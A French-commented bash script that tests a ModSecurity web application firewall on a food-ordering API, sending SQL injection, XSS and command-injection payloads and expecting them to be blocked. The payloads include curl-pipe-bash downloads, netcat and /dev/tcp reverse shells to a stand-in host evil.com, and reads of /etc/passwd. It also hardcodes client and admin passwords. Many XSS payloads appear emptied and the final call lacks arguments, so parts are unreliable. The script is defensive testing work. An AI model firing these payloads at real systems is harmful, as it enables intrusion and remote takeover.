#!/bin/bash # ============================================================================= # Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI) # ============================================================================= # Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI # Usage: ./test-rules.sh # ============================================================================= # Couleurs pour l'affichage RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' PURPLE='\033[0;35m' CYAN='\033[0;36m' NC='\033[0m' # No Color BOLD='\033[1m' # Configuration API_BASE_URL="http://172.20.167.237" # Credentials Client CLIENT_USERNAME="salut" CLIENT_PASSWORD="salut1234_" CLIENT_TOKEN="" # Credentials Admin ADMIN_USERNAME="admin_1768505094" ADMIN_PASSWORD="AdminPass123!" ADMIN_TOKEN="" TOTAL_TESTS=0 PASSED_TESTS=0 FAILED_TESTS=0 LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log" # ============================================================================= # Fonctions Utilitaires # ============================================================================= print_header() { echo -e "\n${BOLD}${CYAN}========================================${NC}" echo -e "${BOLD}${CYAN}$1${NC}" echo -e "${BOLD}${CYAN}========================================${NC}\n" } print_section() { echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n" } print_test() { echo -e "${YELLOW}[TEST] $1${NC}" } print_success() { ((PASSED_TESTS++)) ((TOTAL_TESTS++)) echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE" } print_fail() { ((FAILED_TESTS++)) ((TOTAL_TESTS++)) echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE" } print_info() { echo -e "${CYAN}ℹ INFO${NC} - $1" } print_warning() { echo -e "${YELLOW}⚠ WARNING${NC} - $1" } print_response() { echo -e "${PURPLE}📄 Response:${NC} $1" } # Fonction pour effectuer une requête HTTP avec token client http_test_client() { local method=$1 local endpoint=$2 local data=$3 local expected_code=$4 local description=$5 local extra_headers=$6 print_test "$description" if [ -z "$data" ]; then response=$(curl -s -w "\n%{http_code}" -X "$method" \ -H "Authorization: Bearer $CLIENT_TOKEN" \ -H "Content-Type: application/json" \ $extra_headers \ "${API_BASE_URL}${endpoint}" 2>&1) else response=$(curl -s -w "\n%{http_code}" -X "$method" \ -H "Authorization: Bearer $CLIENT_TOKEN" \ -H "Content-Type: application/json" \ $extra_headers \ -d "$data" \ "${API_BASE_URL}${endpoint}" 2>&1) fi http_code=$(echo "$response" | tail -n1) body=$(echo "$response" | sed '$d') if [ "$http_code" -eq "$expected_code" ]; then print_success "$description (HTTP $http_code)" else print_fail "$description - Expected: $expected_code, Got: $http_code" print_response "$body" echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" echo "Response: $body" >> "$LOG_FILE" fi sleep 0.5 } # Fonction pour effectuer une requête HTTP avec token admin http_test_admin() { local method=$1 local endpoint=$2 local data=$3 local expected_code=$4 local description=$5 local extra_headers=$6 print_test "$description" if [ -z "$data" ]; then response=$(curl -s -w "\n%{http_code}" -X "$method" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ $extra_headers \ "${API_BASE_URL}${endpoint}" 2>&1) else response=$(curl -s -w "\n%{http_code}" -X "$method" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ $extra_headers \ -d "$data" \ "${API_BASE_URL}${endpoint}" 2>&1) fi http_code=$(echo "$response" | tail -n1) body=$(echo "$response" | sed '$d') if [ "$http_code" -eq "$expected_code" ]; then print_success "$description (HTTP $http_code)" echo "$body" else print_fail "$description - Expected: $expected_code, Got: $http_code" print_response "$body" echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" echo "Response: $body" >> "$LOG_FILE" fi sleep 0.5 } # Fonction pour effectuer une requête HTTP sans authentification http_test_no_auth() { local method=$1 local endpoint=$2 local data=$3 local expected_code=$4 local description=$5 print_test "$description" if [ -z "$data" ]; then response=$(curl -s -w "\n%{http_code}" -X "$method" \ -H "Content-Type: application/json" \ "${API_BASE_URL}${endpoint}" 2>&1) else response=$(curl -s -w "\n%{http_code}" -X "$method" \ -H "Content-Type: application/json" \ -d "$data" \ "${API_BASE_URL}${endpoint}" 2>&1) fi http_code=$(echo "$response" | tail -n1) body=$(echo "$response" | sed '$d') if [ "$http_code" -eq "$expected_code" ]; then print_success "$description (HTTP $http_code)" else print_fail "$description - Expected: $expected_code, Got: $http_code" print_response "$body" echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE" echo "Response: $body" >> "$LOG_FILE" fi sleep 0.5 } # ============================================================================= # Authentification # ============================================================================= authenticate() { print_header "AUTHENTIFICATION" # ==================== CLIENT LOGIN ==================== print_section "1. Login Client" response=$(curl -s -w "\n%{http_code}" -X POST \ -H "Content-Type: application/json" \ -d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \ "${API_BASE_URL}/api/v1/auth/login") http_code=$(echo "$response" | tail -n1) body=$(echo "$response" | sed '$d') if [ "$http_code" -eq 200 ]; then CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4) if [ -n "$CLIENT_TOKEN" ]; then print_success "Login Client réussi - Token obtenu" print_info "Token Client: ${CLIENT_TOKEN:0:50}..." else print_fail "Login Client réussi mais token non trouvé" print_response "$body" exit 1 fi else print_fail "Échec du login Client (HTTP $http_code)" print_response "$body" exit 1 fi # ==================== ADMIN LOGIN ==================== print_section "2. Login Admin" response=$(curl -s -w "\n%{http_code}" -X POST \ -H "Content-Type: application/json" \ -d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \ "${API_BASE_URL}/api/v2/admin/auth/login") http_code=$(echo "$response" | tail -n1) body=$(echo "$response" | sed '$d') if [ "$http_code" -eq 200 ]; then ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4) if [ -n "$ADMIN_TOKEN" ]; then print_success "Login Admin réussi - Token obtenu" print_info "Token Admin: ${ADMIN_TOKEN:0:50}..." else print_fail "Login Admin réussi mais token non trouvé" print_response "$body" exit 1 fi else print_fail "Échec du login Admin (HTTP $http_code)" print_response "$body" exit 1 fi } # ============================================================================= # Tests SQL Injection # ============================================================================= test_sql_injection() { print_header "TESTS SQL INJECTION" print_section "1. SQL Injection - Login" # Test 1: SQL Injection classique dans login client http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \ 403 "SQLi - Login Client OR 1=1" # Test 2: SQL Injection dans login admin http_test_no_auth "POST" "/api/v2/admin/auth/login" \ '{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \ 403 "SQLi - Login Admin OR 1=1" # Test 3: SQL Injection avec UNION http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \ 403 "SQLi - UNION SELECT" # Test 4: SQL Injection avec DROP TABLE http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \ 403 "SQLi - DROP TABLE" # Test 5: SQL Injection avec commentaire http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\''--","password":"test"}' \ 403 "SQLi - Commentaire SQL --" print_section "2. SQL Injection - Panier" # Test 6: SQL Injection dans name_product http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \ 403 "SQLi - Panier name_product" # Test 7: SQL Injection dans category http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \ 403 "SQLi - Panier category" print_section "3. SQL Injection - Admin" # Test 8: SQL Injection dans username pénalité http_test_admin "POST" "/api/v2/admin/protected/penalty" \ "{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \ 403 "SQLi - Username pénalité" # Test 9: SQL Injection dans paramètres commandes http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \ "" \ 403 "SQLi - Paramètres commandes" # Test 10: SQL Injection dans ID commande http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \ "" \ 403 "SQLi - ID commande" # Test 11: SQL Injection dans username livreur http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \ "" \ 403 "SQLi - Username livreur" print_section "4. SQL Injection - Commandes Client" # Test 12: SQL Injection dans adresse checkout http_test_client "POST" "/api/v1/checkout" \ '{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \ 403 "SQLi - Adresse checkout" # Test 13: SQL Injection nom produit admin http_test_admin "POST" "/api/v2/admin/protected/products" \ '{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \ 403 "SQLi - Nom produit admin" print_section "5. SQL Injection - Variantes avancées" # Test 14: SQL Injection avec AND http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \ 403 "SQLi - AND condition" # Test 15: SQL Injection avec encodage hex http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \ 403 "SQLi - Encodage hex" # Test 16: SQL Injection avec SLEEP (Time-based) http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \ 403 "SQLi - Time-based SLEEP" # Test 17: SQL Injection avec BENCHMARK http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \ 403 "SQLi - BENCHMARK" # Test 18: SQL Injection avec sous-requête http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \ 403 "SQLi - Sous-requête" } # ============================================================================= # Tests XSS (Cross-Site Scripting) # ============================================================================= test_xss() { print_header "TESTS XSS (CROSS-SITE SCRIPTING)" print_section "1. XSS - Login" # Test 1: XSS basique avec script tag http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"","password":"test"}' \ 403 "XSS - Script tag basique" # Test 2: XSS avec event handler http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"","password":"test"}' \ 403 "XSS - Event handler onerror" # Test 3: XSS avec SVG http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"","password":"test"}' \ 403 "XSS - SVG onload" print_section "2. XSS - Panier" # Test 4: XSS dans name_product http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"","category":"pizza","quantity":1}' \ 403 "XSS - Panier name_product" # Test 5: XSS dans category http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"Pizza","category":"","quantity":1}' \ 403 "XSS - Panier category" print_section "3. XSS - Admin" # Test 6: XSS dans raison pénalité http_test_admin "POST" "/api/v2/admin/protected/penalty" \ "{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"\"}" \ 400 "XSS - Raison pénalité" # Test 7: XSS dans paramètres commandes http_test_admin "GET" "/api/v2/admin/protected/orders?username=" \ "" \ 403 "XSS - Paramètres commandes" # Test 8: XSS dans description produit http_test_admin "POST" "/api/v2/admin/protected/products" \ '{"nom":"Pizza","category":"pizza","description":"","stock":10,"prix":12.99}' \ 403 "XSS - Description produit" print_section "4. XSS - Commandes Client" # Test 9: XSS dans adresse checkout http_test_client "POST" "/api/v1/checkout" \ '{"delivery_address":""}' \ 403 "XSS - Adresse checkout" # Test 10: XSS dans commentaire approbation http_test_client "POST" "/api/v1/commands/1/approve" \ '{"rating":5,"comment":""}' \ 403 "XSS - Commentaire approbation" # Test 11: XSS dans raison annulation http_test_client "POST" "/api/v1/commands/1/cancel" \ '{"reason":""}' \ 403 "XSS - Raison annulation" print_section "5. XSS - Variantes avancées" # Test 12: XSS avec iframe http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"","password":"test"}' \ 403 "XSS - body onload" # Test 14: XSS avec input autofocus http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"","password":"test"}' \ 403 "XSS - input autofocus" # Test 15: XSS avec marquee http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"","password":"test"}' \ 403 "XSS - marquee onstart" # Test 16: XSS avec details/summary http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"
","password":"test"}' \ 403 "XSS - details ontoggle" # Test 17: XSS avec javascript: protocol http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"click","password":"test"}' \ 403 "XSS - javascript protocol" # Test 18: XSS avec data: URI http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"alert(1)>click","password":"test"}' \ 403 "XSS - data URI" # Test 19: XSS encodé HTML http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"<script>alert(1)</script>","password":"test"}' \ 403 "XSS - Encodage HTML entities" # Test 20: XSS avec polyglotte http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \ 403 "XSS - Polyglotte" } # ============================================================================= # Tests RCE (Remote Code Execution) # ============================================================================= test_rce() { print_header "TESTS RCE (REMOTE CODE EXECUTION)" print_section "1. RCE - Command Injection basique" # Test 1: Command substitution avec $() http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"$(whoami)","category":"pizza","quantity":1}' \ 403 "RCE - Command substitution" # Test 2: Command substitution avec backticks http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"`whoami`","category":"pizza","quantity":1}' \ 403 "RCE - Command substitution backticks" # Test 3: Pipe command http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"test|whoami","category":"pizza","quantity":1}' \ 403 "RCE - Pipe command" # Test 4: Semicolon command chaining http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"test;whoami","category":"pizza","quantity":1}' \ 403 "RCE - Semicolon chaining" # Test 5: AND command chaining http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"test&&whoami","category":"pizza","quantity":1}' \ 403 "RCE - AND chaining" # Test 6: OR command chaining http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"test||whoami","category":"pizza","quantity":1}' \ 403 "RCE - OR chaining" print_section "2. RCE - Commandes système dangereuses" # Test 7: cat /etc/passwd http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \ 403 "RCE - cat /etc/passwd" # Test 8: ls command http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \ 403 "RCE - ls command" # Test 9: wget command http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \ 403 "RCE - wget download" # Test 10: curl command http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \ 403 "RCE - curl pipe bash" # Test 11: nc (netcat) reverse shell http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \ 403 "RCE - netcat reverse shell" # Test 12: bash reverse shell http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \ 403 "RCE - bash reverse shell" print_section "3. RCE - Dans autres endpoints" # Test 13: RCE dans adresse checkout http_test_client "POST" "/api/v1/checkout" \ '{"delivery_address":"$(whoami)"}' \ 403 "RCE - Adresse checkout" # Test 14: RCE dans login http_test_no_auth "POST" "/api/v1/auth/login" \ '{"username":"$(id)","password":"test"}' \ 403 "RCE - Login username" # Test 15: RCE dans commentaire http_test_client "POST" "/api/v1/commands/1/approve" \ '{"rating":5,"comment":"$(uname -a)"}' \ 403 "RCE - Commentaire approbation" # Test 16: RCE dans raison annulation http_test_client "POST" "/api/v1/commands/1/cancel" \ '{"reason":"$(pwd)"}' \ 403 "RCE - Raison annulation" print_section "4. RCE - Python/Perl/Ruby injection" # Test 17: Python code execution http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \ 403 "RCE - Python import os" # Test 18: eval() injection http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \ 403 "RCE - eval injection" # Test 19: exec() injection http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \ 403 "RCE - exec injection" # Test 20: system() call http_test_client "POST" "/api/v1/panier/add" \ '{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \ 403 "RCE - system call" } main() { # Exécution des tests authenticate test_rce test_xss test_sql_injection http_test_no_auth } main